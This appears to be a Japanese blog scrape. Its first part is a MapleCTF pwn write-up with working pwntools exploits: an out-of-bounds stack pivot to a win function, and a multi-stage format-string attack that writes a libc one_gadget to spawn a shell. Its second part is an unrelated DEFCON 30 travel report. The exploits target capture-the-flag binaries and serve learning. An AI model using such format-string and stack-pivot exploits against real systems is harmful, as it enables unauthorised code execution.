size: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
thread '<unnamed>' panicked at 'buffer overflow', src/preload_hooks/gets.rs:35:9
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

メモの管理ツールだが、メモが珍しくスタックの中でポインタがあって管理されている。
メモのindexは領域外読み込みがある。
ということで、stack pivotで終わり。

create_page内でrbpを書き換え、mainから出るときに
rbpがrspに渡されてstack pivotできる。
おまけにwin関数もある

from pwn import *
import math


elf=ELF("/home/ubuntu/ctf/maplectf/noflag4u/chal")
libc=ELF("/home/ubuntu/ctf/maplectf/noflag4u/libno_flag_4_u.so")

p=remote("no-flag-4-u.ctf.maplebacon.org",1337)

#gdb.attach(p)

def create(index, size, content):
    p.sendlineafter("5 : Exit","1")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendlineafter("content:",content)
    return

def edit(index,  content):
    p.sendlineafter("5 : Exit","2")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("content:",content)
    return

def print(index):
    p.sendlineafter("5 : Exit","3")
    p.sendlineafter("index:",str(index))
    return p.recvline()

def delete(index):
    p.sendlineafter("5 : Exit","4")
    p.sendlineafter("index:",str(index))
    return

create(-2, 0x108, p64(0)+p64(elf.symbols["win"]))
p.sendlineafter("5 : Exit","5")
p.interactive()

printf (25 solve)

解けなかった。libc使って解くと楽なのだがlibcが配られていなかった。で、
どうやらwarmup2と同じlibcだった?ようだが、そこまでのメタ読みをしたら負けだよ… 
終了後にすぐ環境が使えなくなってしまったので、私の手元の環境、libc2.35で解いている。

頑張ってスタックピボットしようと思っていたが、面倒でやめてしまった。

ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/printf$ ./chal 
%p %p %p
0x7fd2d1e7eb23 0xfbad208b 0x7fd2d1d79992

実行すると一回だけ読み込めて、FSBがある。

pwndbg> checksec
[*] '/home/ubuntu/ctf/maplectf/printf/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

またPIE有効かよ。勘弁してくれ。

pwndbg> tel 0x7fffffffdf68 30
00:0000│     0x7fffffffdf68 —▸ 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— ...
01:0008│     0x7fffffffdf70 —▸ 0x7fffffffe0d8 —▸ 0x7fffffffe3ee ◂— '/home/ubuntu/ctf/maplectf/printf/chal'
02:0010│     0x7fffffffdf78 —▸ 0x55555555520a (main) ◂— endbr64 
03:0018│     0x7fffffffdf80 ◂— 0x0
04:0020│ rsp 0x7fffffffdf88 —▸ 0x5555555551dd (go+52) ◂— nop    
05:0028│ rbp 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
06:0030│     0x7fffffffdf98 —▸ 0x5555555551f2 (set+18) ◂— nop    
07:0038│     0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
08:0040│     0x7fffffffdfa8 —▸ 0x555555555207 (ready+18) ◂— nop    
09:0048│     0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
0a:0050│     0x7fffffffdfb8 —▸ 0x55555555524e (main+68) ◂— mov    eax, 0
0b:0058│     0x7fffffffdfc0 ◂— 0x1
0c:0060│     0x7fffffffdfc8 —▸ 0x7ffff7dabd90 (__libc_start_call_main+128) ◂— mov    edi, eax

スタックはここら辺を操作できる。

ちなみに、

6番目 05:0028│ rbp 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1

8番目 07:0038│ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1

である。

なお、書き込まれるバッファは、スタック内に無い。
こういう時、どうすれば、リターンアドレスを書き換えることができるか…
イメージ的は、
・6番目の値に対して%nをして8のポインタを書き換えて、0x7fffffffdf88に向ける。
・8番目の値に対して%nをして、リターンアドレスを書き換える

これをやれば、リターンアドレスが書き換えらえると思うだろうけど、この多段FSBにはちょっとやり方に工夫が必要。
これをやる方法が下記の書籍に紹介されてるので、今すぐ10冊買い、5等身以内の親族に教えてあげよう。

www.amazon.co.jp


さて、多段fsbを行えば、無限ループさせることができる。
あとは自分のペースでone_gadgetを書けばいいだけ。
私は17番目の値と47番目の値を使って、リターンアドレスをone_gadgetに書き換えた。

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

このone_gadgetを使った。条件を満たすために、最後にnullを書き込んでいる。

ブルートフォース要素があるので、何発も繰り返すといつかshellが取れる。

from pwn import *
import math
import warnings
warnings.simplefilter('ignore')


elf=ELF("/home/ubuntu/ctf/maplectf/printf/chal")

p=process("/home/ubuntu/ctf/maplectf/printf/chal"
          , aslr=True)

#gdb.attach(p)

p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p")

tmp=p.recvline().split()
print(tmp)
stack_leak=int(tmp[3], 16)
proc_base=int(tmp[4], 16)-0x1207
libc_base=int(tmp[8], 16)-0x29D90

log.info("stack_leak:"+hex(stack_leak))
log.info("proc_base:"+hex(proc_base))
log.info("libc_base:"+hex(libc_base))


# lower
log.info("write lower bit of one_gadget start")
stack=((stack_leak+0x10)%0x10000) -0xe5
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack))

# overwrite 0x7fffffffde58
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%47$p") # kore ga naito nazeka ugokanai
one_gadget=libc_base+0xebcf5
lower=(one_gadget % 0x10000) - 0xe5
print(lower)
log.info(hex(one_gadget))
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$hn".format(lower))


# middle
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack+2))

middle=((one_gadget % 0x100000000)//0x10000) - 0xe5
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$hn".format(middle))
log.info("write middlebit of one_gadget end")

# higher
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack+4))

higher=(one_gadget // 0x100000000) - 0xe5
p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$n".format(higher))
log.info("write higherbit of one_gadget end")
p.sendline(b"\x00"*0x100)

p.sendline("ls")
p.interactive()

FSBは嫌い。まじで。

問題の難易度はほど良くてよかった。

EBCSICは時間があるときに復習しよう。

DEFCON 30を現地Las Vegasで見てきました

DEFCON30を現地Las Vegasで見てきました。

 

DEFCONとは、毎年Las Vegasで開催されているHackerの祭典です。予選を勝ち抜いた世界中の最高のHackerが競い合うDEFCON CTFが特に有名ですが、日本のSECCONと同じく、Workshopとかもあります。

(が、まるで規模が違っていてDEFCONは圧倒的に大きいです)

 

分野別に「Village」と呼ばれる単位で部屋が分かれていて、その中で別途CTFや、ワークショップ、講演、コンテスト、物販等があります。今年で30回目だそうです。

 

今年2022年は8月11-14日で開催されました。開催地はLas Vegasで、会場は Caesars Forum, Flamingo, Linq, and Harrah'sの4か所でした。

DEF CON® 30 Hacking Conference Home

 

軽く自己紹介ですが、私自身は、IT業界で働いているわけでも、エンジニアとしての実務経験もありません。また、大学院の専攻も情報系ではなかったので、いわゆる素人です。CTF(のPWN)が好きで、それの延長線上で見に行きました。かなり前にSECCONの決勝に出たことがありますが、実務経験は一切ありませんので、偏った見方になっていると思いますが、どうぞご了承ください。

 

ちなみにDEFCONはモヒカンの人が多かったです。Hackerっていうとモヒカンとかカラフルヘアーのイメージがあるんでしょうね。時折、モヒカンの付け根が肌荒れをしている人がいて、少し気になりました。

あとは、リュックサックにディスプレイがついててゲームをできるようにしていたり、マスクがカラフルに光ってたり、色々なギミックを体に仕込んでる人がいました。一言でいうとHackerのお祭りです。

 

バッジ(初日

私は、オンラインで注文できる、バッジ確約のチケットを取っていました。遠方から来てもバッジを貰えないと、非常に悲しいと思うので、バッジが確約されてるチケットはお勧めです。むしろバッジが私にとっては一番の戦利品です。かなり重要です。ポケモンの世界観です。

私はまず、Framingoの会場に行って、受付にチケットを提示したら「違うよ、バッジはCaesars Forumだよ」と教えてくれました。

ちなみにDEFCONの人たちは、色々な人と会話しましたが、みんな非常に親切でいい意味で驚きました。やる気なさそうな投げやりな感じは一切なかったです。

 

さて、Caesars Forumに到着し、下記のREGに入りました。小さく見えますよね?これ、結構でかいです。

チケットが既にあったのですが、それでも1時間くらい待って、受付でバッジをゲットしました。

 

https://defcon.org/images/defcon-30/maps/forum.webp

並んでる最中、結構カオスで、風船とかビーチボールとかが飛び交っていました。

私の近くに落ちたかけたときに、若い男性がボールを蹴り、私にボールが軽くあたりました。それを見て、その若い男性と一緒にいる女性が「やめなよ~困ってんじゃんw」的な感じになってました。高校生時代を思い出してちょっと辛かったです。

 

さて、ゲットしたバッジがこちらです。

 

見ての通り、キーボードです。ちゃんと音も鳴ります。かわいいですね。

 

物販(初日

バッジをゲットしましたが、初日は開いているVillageを見つけられませんでした。もう一つ、REGのほかに長蛇の列があったのが、物販です。「Merch」と書いてあります。

これは本当に長蛇の列で、私が並んだときは、上記の地図でMERCHから下、左に伸びて、なんとAEROSPACE VILLAGEのあたりまで伸びていました。

ここで並んで、2時間くらいで、ようやく物販にたどり着きました。

ちなみに、毎年同じなのか知りませんが、カードNGで現金しか受け付けていませんでした。

売っていたものは、覚えている限りで、Tシャツ・赤ちゃん用の服・帽子・バッジ・マグカップ等があったと思います。

現金が90ドル程度しかなかったので、あまり買いませんでした。

 

私は無能なので、みんなが並んでるから並んでみましたが、PCとか持っていたので、重くて腰がダメになりました。

ちなみに、このみんなが並んでるから~は絶対やめた方がいいです。街中で店にたくさん人が並んでいたので、私も並んでみたら、タトゥーの店だったことがあります。

 

基本的に1日目は、そこまでやることがなかったです。

 

Village(2日目以降)

いくつものホテルにまたがった会場の各部屋に、下のような標識が出ています。

これがVillageです。

 

私はまず、IoT Villageを見に行きました。

Villageの中では、いくつか色々な催しがやられていますが、「CTF」「Workshop」「講演」が、よくやられているイメージです。

上記のIoT Villageでは、IoTのCTFやワークショップ(何やらデバイスをハックするワークショップ)、Voting Machineを使ったイベントが開催されていました。

 

こういうCTF、ワークショップにぐいぐい参加していくことが楽しむカギだと思います。こういうのに参加したり、あるいは数名でCTFに出ないと、見るだけになってしまう感じはあります。

それに、結構混んでたり並ぶものも多いので、一人だと寂しいというか退屈かもしれないです。

 

いくつかVillageを見てまわりました。

Cloud VillageやAPP Sec Village、Red Team Villageは非常に混んでいて中に入るのをあきらめてしまいました。

 

ICS Village…産業用システムなのでしょうか?船に関するCTFをやってるように見えました。これも、会場の人に色々聞いて参加するべきだと今になっては思います。

 

 

印象的だったのは、Car Hacking VillageやLock Picking Villageです。

車をHackするイベントや、鍵開けのワークショップが開催されていました。こんな鍵開けなんて、日本では絶対にできないですね。さすがアメリカ…

基本的にみんな丁寧に教えてくれるので、ちゃんと周りの人とコミュニケーションをとりましょう。それだけで何倍も楽しくなるはずです。これが私の反省点です。

※そのためにも最低限の英語力は身につけましょう

 

あと、Packet Hacking Villageは特に面白そうで、Capture the packetというCTF?的な奴や、DEFCONのOPEN WIFIを使ったアクセスがさらされたりしてました。(下のWall of SHEEPってやつです)Packet解析のワークショップもやっていた記憶があります。

 

 

Villageではないのですが、ほかにも「Vendors」と「CONTESTS」と「TRACK」がありました。

 

Vendorsは、色々な業者がものを売りに来ています。たとえば、wifi pineappleとか売ってたみたいです。でかいパイナップルの置物があってかわいかったです。あとは書籍で有名なno starch pressもあって、著者によるサイン会とかやっていました。

 

CONTESTSでは、色々なコンテストが開かれていました。アルミホイルで帽子を作るコンテストとかやっていました。コンテスト系も薄暗い部屋の中で、色々な出し物がありました。なんか、Hackerの学園祭みたいな、そんな感じですよね。面白い。

 

TRACKはその名の通り、サイバーセキュリティに関する講演会をしています。面白そうなやつばかりですが、ちゃんと計画を立ててその時間に行かないと当然見れないです。

私はそういうのが苦手なので見れませんでした。

 

とりあえず、見てるだけでも楽しいのですが、色々CTFやワークショップに積極的に参加することで世界が広がると思います。

 

DEFCON以外

DEFCONを見に行ったのがメインでしたが、ほかにもいろいろ遊びに行きました。

シルクドソレイユの「オー」:かなり有名なショーです。私がチケットを買ったときは、結構いい席で200ドルしました。人気具合で金額が変わるらしいです。

Battle Field Las Vegas:CTF Radioで鉄砲の話していたので「Battle Field Las Vegas」に行きました。生まれて初めて銃を撃ちました。リリカル・トカレフ・キルゼムオールという呪文が頭をよぎり、トカレフを撃ちたいといったのですが、No Ammoといわれました。残念。ところで本職の人は銃弾の事、Ammoって言うんだ。ゴムゴムのブレットってネイティブは言わないのかなって残念に思いました。マシンガンを撃ってたら薬莢からおしっこみたいな匂いがしました。私の鼻がおかしいんですかね?

CTF Radio #0: DEF CON CTF Finals 直前企画 - YouTube

ポーカールーム:スロットをちょっとやってみたんですけど、秒速で10ドルがなくなり、走馬灯が見えました。なので空いた時間でポーカーやってました。長く遊べたし面白かったので経験できてよかったです。結局、DEFCONいた時間より長かったかもしれないです。でも対人戦なので、ルールがわからないとかだと、お勧めできないです。

Bellagioの噴水:絶対見に行った方がいです。何パターンかあるので、何個か見てください。結構、個人的には当たり外れがあったと思います。何メートルも水柱がバンバンあがるド派手なやつもあれば、チョロ…みたいな感じのもあります。チョロ…は言い過ぎかもしれないです。横じゃなくて真正面から見てください。迫力が違います。

フレモントストリートエクスペリエンス:名前を聞いたことがあるのでUBERでいきました。UBERの運転手は「古きラスベガス」と言っていました。それはその通りでしたが、昼に行ったのもありますが、特筆してみるものはありませんでしたので、10分くらいですぐ帰りました。移動時間のほうが長かったです。あと、その辺りはちょっと寂れてる感じがあって、治安的な意味で少し歩きたくなかったです。

 

良かった点

  • 知見が広がったこと

物販で「こんなのあるんだ」とか、「Car hacking、面白そう!」とか、本当に世界が広がったと思います。見に行くだけで、あれもやりたい、これもやりたい、色々知的に好奇心が湧いてくるはずです。歳を取ると段々、バイタリティが減ってきてこのような気持ちになる機会は減ってくるので、非常に素晴らしい経験です。ただし、色々やりたくても、自分の腕は二本しかないので悲しいところですね。通信交換で進化して腕を生やすしかないです。

  • UBERをいい感じに使えたこと

私は滞在中に6回UBERを使いました。(これでもかなり抑えた方です)基本的に空港でも街中でもUBERを呼べば5ー10分程度で来てくれたので時間が無駄にならず便利でした。

ちなみにUBERは混み具合によって料金が変わります。初日は空港ー>ホテル までチップ込みで$30以上かかりました。帰りは$20かかっていなかったです。まぁ帰りはMGMグランドから帰ったので、近かったのもあります。ご参考です。

  • カジノで体力回復できたこと

DEFCONのチケットを買っていた中で勿体なかったですけど、ポーカールームで遊んでいました。荷物とか置けるし、涼しいし、飲み物も買えるしで隙間時間も潰せてよかったです。

  • Las Vegas自体を楽しめたこと

DEFCONだけではなく、ショーやカジノ等など、色々楽しむことができました。Las Vegasは世界一のコンテンツ消費の街だと思いました。今までの人生で経験したことがないような鮮烈な経験ができて、本当に楽しかったです。

それに、気を付けていたので特段危険な目にも合わなかったので良かったです。

 

失敗した点

もっと上手に回ればよかったと思います。何点かあります。

  • ホテルはちゃんと考えて選ぼう。

私がとったホテルですが、中心地であるSTRIPから、歩いて15分くらいのところにしました。これは、DEFCON参加の場合は、原則やめた方がいいと思いました。DEFCON見に行くだけで、特に手ぶらで行くのであればコストを抑える意味ではアリかもしれません。

ただし、もし会場各地で実施されてるCTFとかに参加する等でPCを持って行くとか荷物が多いのであれば、絶対にホテルは会場に近い方がよいと思います。夏のLas Vegasは暑いです。日中は40度近くまで上がります。加えて、一つ一つのホテルが非常にでかい。地図上で見るとたいしたことなく見えますが、ホテル一つ一つが信じられないほどでかいので、かなり歩きますし、外を歩くタイミングも多いです。おっさんの体力にはかなりきつかったです。おっさんの脂汗と高熱で、から揚げになるかと思いました。

私は、荷物を置きに行くためにホテルに戻ったり、汗をかいてシャワーを浴びるたびに歩いてホテルまで戻ったりしました。これは時間だけではなくて、体力の無駄という意味で、絶対に避けるべきでした。地獄でした。

Las Vegasはショーとか、遊びの面でも夜が本気(街の景色もグッと変わる)です。となると、日中はDEFCON、夜はSTRIPを歩き続けることになります。死にました。

 

  • 複数人で行けばよかった

長蛇の列に並びながら、トイレに行ったりするのはめんどいです(後ろの人に声かければいいですけど。)。複数人いた方がいいです。

CTFとかも複数人で出れますし、物販でキャッシュが足りない、とかいざというときに仲が良ければ笑助け合えます。

ホテルも、部屋でコストが決まってたりするので、複数人で行った方が割安です。ほかの人に話しかけたりするのも、友達といた方がスムーズでしょう。これは雑魚の発想ですか?

 

  • DEFCON自体もちゃんと調べておこう。

行ってみるまで知りませんでしたが、DEFCONの1日目は、「チケット販売」と「物販」がメインだったと思います。少なくとも私がうろうろ歩いていた中で、Villageは開いていなかったと思います。

このような場合に、使いもしない重いPCを持って暑い中、私のようにアホ面ぶら下げてキョロキョロしながら、だらだら無駄に歩き回るのは本当に体力と時間の無駄なので、おとなしく他の事をやればよかったです。また、私はCTFをやる気だったのですが、「いや~マウス忘れちゃいまして、スライドパッドは操作しづらいですなw」みたいな状態になって結局、あまりプレイしませんでした。

その程度の心構えなら、マジでPC持っていかない方がよかったです。

 

  • DEFCON以外も遊ぶのであれば計画をちゃんと立てよう

ショーの時間は決まっています、有名なシルクドソレイユの「オー」等いろいろ有名なショーがあるので、一応一通り調べて、もし見たければちゃんと予定を開けて、場所とか、ちゃんと調べていった方がいいです。当たり前ですね。

ホテルも大きいし豪華だし楽しいんですけど、中を遊びながら無計画に歩いてると、わけわからないところに出たりします。ここ、どこ?の繰り返しで時間と体力がもったいなかったです。

 

  • 買うときに値段をちゃんと見よう

よく見たら水が5ドルしました。

カジノで金を下ろしたら、手数料で10ドル弱しました。

私は水と手数料で50ドルくらいやられてます。

 

  • 当初の目的を見失わないようにしよう

私みたいに、DEFCONに入り浸ろうと思っていたのですが、今日はもう暑いし…荷物重いし…カジノで遊んでていいよね…もうゴール、してもいいよね…みたいなことにならないように、もしDEFCONを楽しみたいなら鋼の意思でDEFCONを楽しみましょう。

 

まとめ

結論、総合的にはLas Vegas全体含め、かなり楽しい経験ができました。本当に濃厚な数日間で、体感1, 2か月くらいの時間が流れたような感じです。

CTFのモチベーションもだいぶ上がりました。上がりましたけど、一人でやってても中々スキル上がらなくてそろそろ辛い。

 

多分来年も行きます。

来年は、もっとCTFとかワークショップに積極的に参加しようと思います。そのためにSTRIP近辺の、いいホテルに泊まります。そしてベストは複数人で行ければ行こうと思います。(でもCTFやってるリアル友人なんて、一人もいないので多分いけない)あと英語勉強します。

 

来年はBlack Hatも見に行きたいなあ。